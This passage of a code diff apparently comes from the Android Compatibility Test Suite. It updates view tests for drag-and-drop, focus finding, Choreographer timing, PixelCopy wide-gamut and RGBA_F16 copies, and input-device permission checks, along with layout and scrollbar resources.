@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MULTILIB := both
@@ -31,6 +31,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
android-support-test \
compatibility-device-util \
+ ctsdeviceutillegacy \
ctstestrunner \
mockito-target-minus-junit4 \
platform-test-annotations \
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index f9c305f..823704c 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -175,6 +175,7 @@
android:screenOrientation="locked"
android:label="PixelCopyGLProducerCtsActivity"/>
+
<activity android:name="android.view.cts.PixelCopyViewProducerActivity"
android:label="PixelCopyViewProducerActivity"
android:screenOrientation="portrait"
@@ -182,6 +183,14 @@
android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
android:configChanges="orientation|screenSize" />
+ <activity android:name="android.view.cts.PixelCopyWideGamutViewProducerActivity"
+ android:label="PixelCopyWideGamutViewProducerActivity"
+ android:screenOrientation="portrait"
+ android:rotationAnimation="jumpcut"
+ android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
+ android:configChanges="orientation|screenSize"
+ android:colorMode="wideColorGamut" />
+
<activity android:name="android.view.cts.FocusFinderCtsActivity"
android:screenOrientation="locked"
android:label="FocusFinderCtsActivity">
@@ -289,7 +298,7 @@
</activity>
<activity android:name="android.view.cts.DragDropActivity"
- android:screenOrientation="locked"
+ android:screenOrientation="portrait"
android:label="DragDropActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
diff --git a/tests/tests/view/assets/prophoto.png b/tests/tests/view/assets/prophoto.png
new file mode 100644
index 0000000..8badba7
--- /dev/null
+++ b/tests/tests/view/assets/prophoto.png
Binary files differ
diff --git a/tests/tests/view/res/drawable/scrollbar_no_size.xml b/tests/tests/view/res/drawable/scrollbar_no_size.xml
new file mode 100644
index 0000000..88a59f0
--- /dev/null
+++ b/tests/tests/view/res/drawable/scrollbar_no_size.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+ android:shape="rectangle">
+ <solid android:color="@android:color/white" />
+</shape>
diff --git a/tests/tests/view/res/drawable/scrollbar_thumb.xml b/tests/tests/view/res/drawable/scrollbar_thumb.xml
new file mode 100644
index 0000000..d7612ac
--- /dev/null
+++ b/tests/tests/view/res/drawable/scrollbar_thumb.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+ android:shape="rectangle">
+ <solid android:color="@android:color/white" />
+ <size
+ android:width="@dimen/scrollbar_thumb_width"
+ android:height="@dimen/scrollbar_thumb_height"/>
+</shape>
diff --git a/tests/tests/view/res/drawable/scrollbar_track.xml b/tests/tests/view/res/drawable/scrollbar_track.xml
new file mode 100644
index 0000000..a184569
--- /dev/null
+++ b/tests/tests/view/res/drawable/scrollbar_track.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+ android:shape="rectangle">
+ <solid android:color="@android:color/white" />
+ <size
+ android:width="@dimen/scrollbar_track_width"
+ android:height="@dimen/scrollbar_track_height"/>
+</shape>
diff --git a/tests/tests/view/res/layout/drag_drop_layout.xml b/tests/tests/view/res/layout/drag_drop_layout.xml
index 3800d99..9f4614c 100644
--- a/tests/tests/view/res/layout/drag_drop_layout.xml
+++ b/tests/tests/view/res/layout/drag_drop_layout.xml
@@ -25,26 +25,26 @@
android:id="@+id/container"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:layout_margin="64px"
+ android:layout_margin="21dp"
android:background="#BBBBBB">
<FrameLayout
android:id="@+id/subcontainer"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:layout_margin="64px"
+ android:layout_margin="21dp"
android:background="#666666">
<View
android:id="@+id/inner"
- android:layout_width="64px"
- android:layout_height="64px"
- android:layout_margin="64px"
+ android:layout_width="21dp"
+ android:layout_height="21dp"
+ android:layout_margin="21dp"
android:background="#00FF00" />
</FrameLayout>
</FrameLayout>
<View
android:id="@+id/draggable"
- android:layout_width="64px"
- android:layout_height="64px"
- android:layout_margin="64px"
+ android:layout_width="21dp"
+ android:layout_height="21dp"
+ android:layout_margin="21dp"
android:background="#0000FF" />
</LinearLayout>
diff --git a/tests/tests/view/res/layout/focus_finder_layout.xml b/tests/tests/view/res/layout/focus_finder_layout.xml
index 1dea684..8f4dffb 100644
--- a/tests/tests/view/res/layout/focus_finder_layout.xml
+++ b/tests/tests/view/res/layout/focus_finder_layout.xml
@@ -22,7 +22,8 @@
android:layout_alignParentTop="true">
<TableRow>
<android.view.cts.TestButton android:id="@+id/top_left_button"
- android:layout_width="60dp"
+ android:layout_width="20dp"
+ android:layout_marginRight="40dp"
android:layout_height="match_parent"
android:text="TL" />
<android.view.cts.TestButton android:id="@+id/top_right_button"
diff --git a/tests/tests/view/res/layout/view_layout.xml b/tests/tests/view/res/layout/view_layout.xml
index 920da83..fbdddc2 100644
--- a/tests/tests/view/res/layout/view_layout.xml
+++ b/tests/tests/view/res/layout/view_layout.xml
@@ -26,8 +26,8 @@
<android.view.cts.MockView
android:id="@+id/mock_view"
- android:layout_width="100px"
- android:layout_height="200px"/>
+ android:layout_width="75dp"
+ android:layout_height="100dp"/>
<android.view.cts.MockView
android:id="@+id/scroll_view"
@@ -36,7 +36,11 @@
android:scrollbars="horizontal|vertical"
android:fadingEdge="horizontal|vertical"
android:scrollIndicators="top|bottom"
- android:fadingEdgeLength="20px"/>
+ android:fadingEdgeLength="20px"
+ android:scrollbarThumbVertical="@null"
+ android:scrollbarTrackVertical="@null"
+ android:scrollbarThumbHorizontal="@null"
+ android:scrollbarTrackHorizontal="@null"/>
<android.view.cts.MockView
android:id="@+id/scroll_view_2"
@@ -44,7 +48,51 @@
android:layout_height="200px"
android:scrollbars="horizontal|vertical"
android:requiresFadingEdge="horizontal|vertical"
- android:fadingEdgeLength="20px"/>
+ android:fadingEdgeLength="20px"
+ android:scrollbarThumbVertical="@null"
+ android:scrollbarTrackVertical="@null"
+ android:scrollbarThumbHorizontal="@null"
+ android:scrollbarTrackHorizontal="@null"/>
+
+ <android.view.cts.MockView
+ android:id="@+id/scroll_view_3"
+ android:layout_width="100px"
+ android:layout_height="200px"
+ android:scrollbars="horizontal|vertical"
+ android:scrollbarThumbVertical="@drawable/scrollbar_no_size"
+ android:scrollbarTrackVertical="@null"
+ android:scrollbarThumbHorizontal="@drawable/scrollbar_no_size"
+ android:scrollbarTrackHorizontal="@null"/>
+
+ <android.view.cts.MockView
+ android:id="@+id/scroll_view_4"
+ android:layout_width="100px"
+ android:layout_height="200px"
+ android:scrollbars="horizontal|vertical"
+ android:scrollbarThumbVertical="@drawable/scrollbar_thumb"
+ android:scrollbarTrackVertical="@null"
+ android:scrollbarThumbHorizontal="@drawable/scrollbar_thumb"
+ android:scrollbarTrackHorizontal="@null"/>
+
+ <android.view.cts.MockView
+ android:id="@+id/scroll_view_5"
+ android:layout_width="100px"
+ android:layout_height="200px"
+ android:scrollbars="horizontal|vertical"
+ android:scrollbarThumbVertical="@drawable/scrollbar_thumb"
+ android:scrollbarTrackVertical="@drawable/scrollbar_track"
+ android:scrollbarThumbHorizontal="@drawable/scrollbar_thumb"
+ android:scrollbarTrackHorizontal="@drawable/scrollbar_track"/>
+
+ <android.view.cts.MockView
+ android:id="@+id/scroll_view_6"
+ android:layout_width="100px"
+ android:layout_height="200px"
+ android:scrollbars="horizontal|vertical"
+ android:scrollbarThumbVertical="@drawable/scrollbar_thumb"
+ android:scrollbarTrackVertical="@drawable/scrollbar_no_size"
+ android:scrollbarThumbHorizontal="@drawable/scrollbar_thumb"
+ android:scrollbarTrackHorizontal="@drawable/scrollbar_no_size"/>
<View
android:id="@+id/fit_windows"
diff --git a/tests/tests/view/res/values-ldpi/dimens.xml b/tests/tests/view/res/values-ldpi/dimens.xml
new file mode 100644
index 0000000..5b79a3e
--- /dev/null
+++ b/tests/tests/view/res/values-ldpi/dimens.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0"?>
+<!-- Copyright (C) 2014 The Android Open Source Project
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+-->
+<resources>
+ <dimen name="hover_target_margin">6dp</dimen>
+ <dimen name="hover_target_size">12dp</dimen>
+ <dimen name="hover_target_size_double">24dp</dimen>
+</resources>
diff --git a/tests/tests/view/res/values/dimens.xml b/tests/tests/view/res/values/dimens.xml
index 5680de0..5ae23c2 100644
--- a/tests/tests/view/res/values/dimens.xml
+++ b/tests/tests/view/res/values/dimens.xml
@@ -41,4 +41,8 @@
<dimen name="hover_target_margin">4dp</dimen>
<dimen name="hover_target_size">8dp</dimen>
<dimen name="hover_target_size_double">16dp</dimen>
+ <dimen name="scrollbar_thumb_width">11dp</dimen>
+ <dimen name="scrollbar_thumb_height">12dp</dimen>
+ <dimen name="scrollbar_track_width">13dp</dimen>
+ <dimen name="scrollbar_track_height">14dp</dimen>
</resources>
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimationTest.java b/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
index aac14e6..d3bc8e0 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
@@ -77,7 +77,7 @@
/** It is defined in R.anim.decelerate_alpha */
private static final int DECELERATE_ALPHA_DURATION = 2000;
- private static final int CANCELATION_TIMEOUT = 1000;
+ private static final int CANCELATION_TIMEOUT = 5000;
private Instrumentation mInstrumentation;
private Activity mActivity;
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java b/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
index 7e0808e..ddd55aa 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
@@ -42,6 +42,7 @@
import android.view.cts.R;
import org.junit.Before;
+import org.junit.After;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -59,6 +60,7 @@
private Instrumentation mInstrumentation;
private AnimationTestCtsActivity mActivity;
private View mTestView;
+ private int mUserRotation;
Set<Integer> identityHashes = new HashSet<>();
@@ -71,6 +73,12 @@
mInstrumentation = InstrumentationRegistry.getInstrumentation();
mActivity = mActivityRule.getActivity();
mTestView = mActivity.findViewById(R.id.anim_window);
+ mUserRotation = mActivity.getWindowManager().getDefaultDisplay().getRotation();
+ }
+
+ @After
+ public void tearDown() {
+ mInstrumentation.getUiAutomation().setRotation(mUserRotation);
}
private void assertUnique(Object object) {
diff --git a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
index 6c95e1f..145436b 100644
--- a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
+++ b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
@@ -19,6 +19,8 @@
import static org.junit.Assert.fail;
import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.FlakyTest;
+import android.support.test.filters.MediumTest;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
@@ -26,7 +28,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-@SmallTest
+@FlakyTest
@RunWith(AndroidJUnit4.class)
public class ChoreographerNativeTest {
private long mChoreographerPtr;
@@ -49,11 +51,13 @@
}
}
+ @MediumTest
@Test
public void testPostCallbackWithoutDelayEventuallyRunsCallbacks() {
nativeTestPostCallbackWithoutDelayEventuallyRunsCallbacks(mChoreographerPtr);
}
+ @SmallTest
@Test
public void testPostCallbackWithDelayEventuallyRunsCallbacks() {
nativeTestPostCallbackWithDelayEventuallyRunsCallbacks(mChoreographerPtr);
diff --git a/tests/tests/view/src/android/view/cts/ChoreographerTest.java b/tests/tests/view/src/android/view/cts/ChoreographerTest.java
index e152d5b..a232b51 100644
--- a/tests/tests/view/src/android/view/cts/ChoreographerTest.java
+++ b/tests/tests/view/src/android/view/cts/ChoreographerTest.java
@@ -82,7 +82,7 @@
// We expect the remaining callbacks to have been invoked once.
verify(addedCallback1, timeout(NOMINAL_VSYNC_PERIOD * 10).times(1)).run();
- verify(addedCallback2, times(1)).run();
+ verify(addedCallback2, timeout(NOMINAL_VSYNC_PERIOD * 10).times(1)).run();
verifyZeroInteractions(removedCallback);
// If we post a callback again, then it should be invoked again.
diff --git a/tests/tests/view/src/android/view/cts/DragDropTest.java b/tests/tests/view/src/android/view/cts/DragDropTest.java
index 64c170c..20c4742 100644
--- a/tests/tests/view/src/android/view/cts/DragDropTest.java
+++ b/tests/tests/view/src/android/view/cts/DragDropTest.java
@@ -37,6 +37,8 @@
import com.android.internal.util.ArrayUtils;
+import com.android.compatibility.common.util.CddTest;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
@@ -48,6 +50,7 @@
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+@CddTest(requirement="7.2.5/C-1-5")
@RunWith(AndroidJUnit4.class)
public class DragDropTest {
static final String TAG = "DragDropTest";
@@ -61,6 +64,7 @@
private DragDropActivity mActivity;
+ private CountDownLatch mStartReceived;
private CountDownLatch mEndReceived;
private static boolean equal(ClipDescription d1, ClipDescription d2) {
@@ -141,6 +145,9 @@
}
private void logEvent(View v, DragEvent ev) {
+ if (ev.getAction() == DragEvent.ACTION_DRAG_STARTED) {
+ mStartReceived.countDown();
+ }
if (ev.getAction() == DragEvent.ACTION_DRAG_ENDED) {
mEndReceived.countDown();
}
@@ -203,7 +210,7 @@
long downTime = SystemClock.uptimeMillis();
MotionEvent event = MotionEvent.obtain(downTime, downTime, action,
destLoc[0] + offset, destLoc[1] + offset, 1);
- event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+ event.setSource(InputDevice.SOURCE_MOUSE);
mAutomation.injectInputEvent(event, false);
});
@@ -277,7 +284,11 @@
@Before
public void setUp() {
mActivity = mActivityRule.getActivity();
+ mStartReceived = new CountDownLatch(1);
mEndReceived = new CountDownLatch(1);
+
+ // Wait for idle
+ mInstrumentation.waitForIdleSync();
}
@After
@@ -315,6 +326,13 @@
assertTrue("Couldn't start drag",
v.startDragAndDrop(createClipData(), new View.DragShadowBuilder(v), null, 0));
});
+
+ try {
+ assertTrue("Timeout while waiting for START event",
+ mStartReceived.await(1, TimeUnit.SECONDS));
+ } catch (InterruptedException e) {
+ fail("Got InterruptedException while waiting for START event");
+ }
}
/**
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderTest.java b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
index a8015ab..0f2119e 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderTest.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
@@ -94,6 +94,10 @@
verifyNextFocus(null, View.FOCUS_LEFT, mBottomRight);
verifyNextFocus(null, View.FOCUS_UP, mBottomRight);
+ // Check that left/right traversal works when top/bottom borders are equal.
+ verifyNextFocus(mTopRight, View.FOCUS_LEFT, mTopLeft);
+ verifyNextFocus(mBottomLeft, View.FOCUS_RIGHT, mBottomRight);
+
// Edge-case where root has focus
mActivityRule.runOnUiThread(() -> {
mLayout.setFocusableInTouchMode(true);
@@ -245,7 +249,7 @@
assertTrue(nextFocus == mBottomRight || nextFocus == mBottomLeft);
}
- @Test
+ @Test(timeout = 500)
public void testChainVisibility() {
mBottomRight.setNextFocusForwardId(mBottomLeft.getId());
mBottomLeft.setNextFocusForwardId(mTopRight.getId());
@@ -256,6 +260,20 @@
mBottomLeft.setNextFocusForwardId(View.NO_ID);
next = mFocusFinder.findNextFocus(mLayout, mBottomRight, View.FOCUS_FORWARD);
assertSame(mTopLeft, next);
+
+ // This shouldn't go into an infinite loop
+ mBottomRight.setNextFocusForwardId(mTopRight.getId());
+ mTopLeft.setNextFocusForwardId(mTopRight.getId());
+ mTopRight.setNextFocusForwardId(mBottomLeft.getId());
+ mBottomLeft.setNextFocusForwardId(mTopLeft.getId());
+ mActivityRule.getActivity().runOnUiThread(() -> {
+ mTopLeft.setVisibility(View.INVISIBLE);
+ mTopRight.setVisibility(View.INVISIBLE);
+ mBottomLeft.setVisibility(View.INVISIBLE);
+ mBottomRight.setVisibility(View.INVISIBLE);
+ });
+ InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+ mFocusFinder.findNextFocus(mLayout, mBottomRight, View.FOCUS_FORWARD);
}
private void verifyNextCluster(View currentCluster, int direction, View expectedNextCluster) {
@@ -386,8 +404,8 @@
FrameLayout layout = new FrameLayout(mLayout.getContext());
Button button1 = new Button(mLayout.getContext());
Button button2 = new Button(mLayout.getContext());
- button1.setLeftTopRightBottom(0, 0, 10, 10);
- button2.setLeftTopRightBottom(0, 0, 10, 10);
+ setViewBox(button1, 0, 0, 10, 10);
+ setViewBox(button2, 0, 0, 10, 10);
layout.addView(button1);
layout.addView(button2);
View[] views = new View[]{button2, button1};
@@ -401,7 +419,7 @@
assertEquals(button2, views[0]);
assertEquals(button1, views[1]);
// make sure it will actually mutate input array.
- button2.setLeftTopRightBottom(20, 0, 30, 10);
+ setViewBox(button2, 20, 0, 30, 10);
FocusFinder.sort(views, 0, 2, layout, false);
assertEquals(button1, views[0]);
assertEquals(button2, views[1]);
@@ -428,4 +446,11 @@
verifyNextFocus(mTopRight, View.FOCUS_FORWARD, mBottomLeft);
verifyNextFocus(mBottomLeft, View.FOCUS_FORWARD, mBottomRight);
}
+
+ private void setViewBox(View view, int left, int top, int right, int bottom) {
+ view.setLeft(left);
+ view.setTop(top);
+ view.setRight(right);
+ view.setBottom(bottom);
+ }
}
diff --git a/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java b/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java
new file mode 100644
index 0000000..9a960e2
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.hardware.input.InputManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.InputDevice;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link android.view.InputDevice} enable/disable functionality.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceEnabledTest {
+ private InputManager mInputManager;
+ private Instrumentation mInstrumentation;
+
+ @Before
+ public void setup() {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mInputManager = mInstrumentation.getTargetContext().getSystemService(InputManager.class);
+ assertNotNull(mInputManager);
+ }
+
+ @Test
+ public void testIsEnabled() {
+ final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+ assertNotNull(inputDeviceIds);
+ for (int inputDeviceId : inputDeviceIds) {
+ final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+ // this function call should not produce an error
+ inputDevice.isEnabled(); // output is not checked
+ }
+ }
+
+ @Test
+ public void testEnableDisableException() {
+ // Check that InputDevice.enable() and InputDevice.disable() throw SecurityException
+ final String failMsgNotThrown = "Expected SecurityException not thrown";
+
+ final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+ for (int inputDeviceId : inputDeviceIds) {
+ final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+
+ try {
+ inputDevice.enable();
+ fail(failMsgNotThrown);
+ } catch (SecurityException e) {
+ // Expect to get this exception
+ }
+
+ try {
+ inputDevice.disable();
+ fail(failMsgNotThrown);
+ } catch (SecurityException e) {
+ // Expect to get this exception
+ }
+ }
+ }
+}
diff --git a/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java b/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java
index 6207b9b..2ba7972 100644
--- a/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java
@@ -29,10 +29,13 @@
import android.view.KeyCharacterMap.KeyData;
import android.view.KeyEvent;
+import com.android.compatibility.common.util.CddTest;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+@CddTest(requirement="7.2.3/H-0-1,T-0-1,A-0-1,7.2.1/C-1-3")
@SmallTest
@RunWith(AndroidJUnit4.class)
public class KeyCharacterMapTest {
diff --git a/tests/tests/view/src/android/view/cts/KeyEventTest.java b/tests/tests/view/src/android/view/cts/KeyEventTest.java
index fde3f81..666e585 100644
--- a/tests/tests/view/src/android/view/cts/KeyEventTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyEventTest.java
@@ -41,6 +41,8 @@
import android.view.KeyCharacterMap.KeyData;
import android.view.KeyEvent;
+import com.android.compatibility.common.util.CddTest;
+
import junit.framework.Assert;
import org.junit.Before;
@@ -514,6 +516,7 @@
assertTrue(mKeyEvent.getDisplayLabel() > 0);
}
+ @CddTest(requirement="7.2.3/H-0-1,T-0-1,A-0-1")
@Test
public void testIsSystem() {
mKeyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MENU);
diff --git a/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java b/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
index cae49c7..e8e764a 100644
--- a/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
@@ -27,11 +27,10 @@
import android.view.KeyboardShortcutGroup;
import android.view.KeyboardShortcutInfo;
-import com.google.android.collect.Lists;
-
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.ArrayList;
import java.util.List;
/**
@@ -41,9 +40,14 @@
@RunWith(AndroidJUnit4.class)
public class KeyboardShortcutGroupTest {
private static final CharSequence TEST_LABEL = "Test Group Label";
- private final List<KeyboardShortcutInfo> TEST_ITEMS = Lists.newArrayList(
- new KeyboardShortcutInfo("Item 1", KeyEvent.KEYCODE_U, KeyEvent.META_CTRL_ON),
- new KeyboardShortcutInfo("Item 2", KeyEvent.KEYCODE_F, KeyEvent.META_CTRL_ON));
+ private static final List<KeyboardShortcutInfo> TEST_ITEMS = new ArrayList<>();
+
+ static {
+ TEST_ITEMS.add(new KeyboardShortcutInfo(
+ "Item 1", KeyEvent.KEYCODE_U, KeyEvent.META_CTRL_ON));
+ TEST_ITEMS.add(new KeyboardShortcutInfo(
+ "Item 2", KeyEvent.KEYCODE_F, KeyEvent.META_CTRL_ON));
+ }
@Test
public void testConstructor() {
diff --git a/tests/tests/view/src/android/view/cts/LongPressBackTest.java b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
index 5ee9753..8f1b199 100644
--- a/tests/tests/view/src/android/view/cts/LongPressBackTest.java
+++ b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
@@ -29,6 +29,8 @@
import android.view.KeyEvent;
import android.view.ViewConfiguration;
+import com.android.compatibility.common.util.CddTest;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
@@ -52,6 +54,7 @@
* Tests to ensure that the foregrounded app can handle a long-press on the back button on
* non-watch devices
*/
+ @CddTest(requirement="7.2.3/H-0-2,T-0-2")
@Test
public void testAppIsNotDismissed() {
// Only run for non-watch devices
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index 6310ce8..0cbd0ca 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -17,6 +17,7 @@
package android.view.cts;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -24,6 +25,7 @@
import static org.mockito.Mockito.when;
import android.app.Instrumentation;
+import android.content.pm.ActivityInfo;
import android.graphics.Bitmap;
import android.graphics.Bitmap.Config;
import android.graphics.Color;
@@ -36,6 +38,7 @@
import android.support.test.filters.MediumTest;
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
+import android.util.Half;
import android.util.Log;
import android.view.PixelCopy;
import android.view.Surface;
@@ -52,6 +55,8 @@
import org.junit.runner.RunWith;
import org.junit.runners.model.Statement;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -73,6 +78,11 @@
new ActivityTestRule<>(PixelCopyViewProducerActivity.class, false, false);
@Rule
+ public ActivityTestRule<PixelCopyWideGamutViewProducerActivity>
+ mWideGamutWindowSourceActivityRule = new ActivityTestRule<>(
+ PixelCopyWideGamutViewProducerActivity.class, false, false);
+
+ @Rule
public SurfaceTextureRule mSurfaceRule = new SurfaceTextureRule();
private Instrumentation mInstrumentation;
@@ -231,6 +241,30 @@
Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
}
+ @Test
+ public void testReuseBitmap() {
+ // Since we only sample mid-pixel of each qudrant, filtering
+ // quality isn't tested
+ PixelCopyGLProducerCtsActivity activity = waitForGlProducerActivity();
+ Bitmap bitmap = Bitmap.createBitmap(20, 20, Config.ARGB_8888);
+ int result = mCopyHelper.request(activity.getView(), bitmap);
+ // Make sure nothing messed with the bitmap
+ assertEquals(20, bitmap.getWidth());
+ assertEquals(20, bitmap.getHeight());
+ assertEquals(Config.ARGB_8888, bitmap.getConfig());
+ assertBitmapQuadColor(bitmap,
+ Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+ int generationId = bitmap.getGenerationId();
+ result = mCopyHelper.request(activity.getView(), bitmap);
+ // Make sure nothing messed with the bitmap
+ assertEquals(20, bitmap.getWidth());
+ assertEquals(20, bitmap.getHeight());
+ assertEquals(Config.ARGB_8888, bitmap.getConfig());
+ assertBitmapQuadColor(bitmap,
+ Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+ assertNotEquals(generationId, bitmap.getGenerationId());
+ }
+
private Window waitForWindowProducerActivity() {
PixelCopyViewProducerActivity activity =
mWindowSourceActivityRule.launchActivity(null);
@@ -319,6 +353,125 @@
} while (activity.rotate());
}
+ @Test
+ public void testWindowProducerCopyToRGBA16F() {
+ Window window = waitForWindowProducerActivity();
+ PixelCopyViewProducerActivity activity = mWindowSourceActivityRule.getActivity();
+
+ Bitmap bitmap;
+ do {
+ Rect src = makeWindowRect(0, 0, 100, 100);
+ bitmap = Bitmap.createBitmap(src.width(), src.height(), Config.RGBA_F16);
+ int result = mCopyHelper.request(window, src, bitmap);
+ // On OpenGL ES 2.0 devices a copy to RGBA_F16 can fail because there's
+ // not support for float textures
+ if (result != PixelCopy.ERROR_DESTINATION_INVALID) {
+ assertEquals("Fullsize copy request failed", PixelCopy.SUCCESS, result);
+ assertEquals(Config.RGBA_F16, bitmap.getConfig());
+ assertBitmapQuadColor(bitmap,
+ Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+ assertBitmapEdgeColor(bitmap, Color.YELLOW);
+ }
+ } while (activity.rotate());
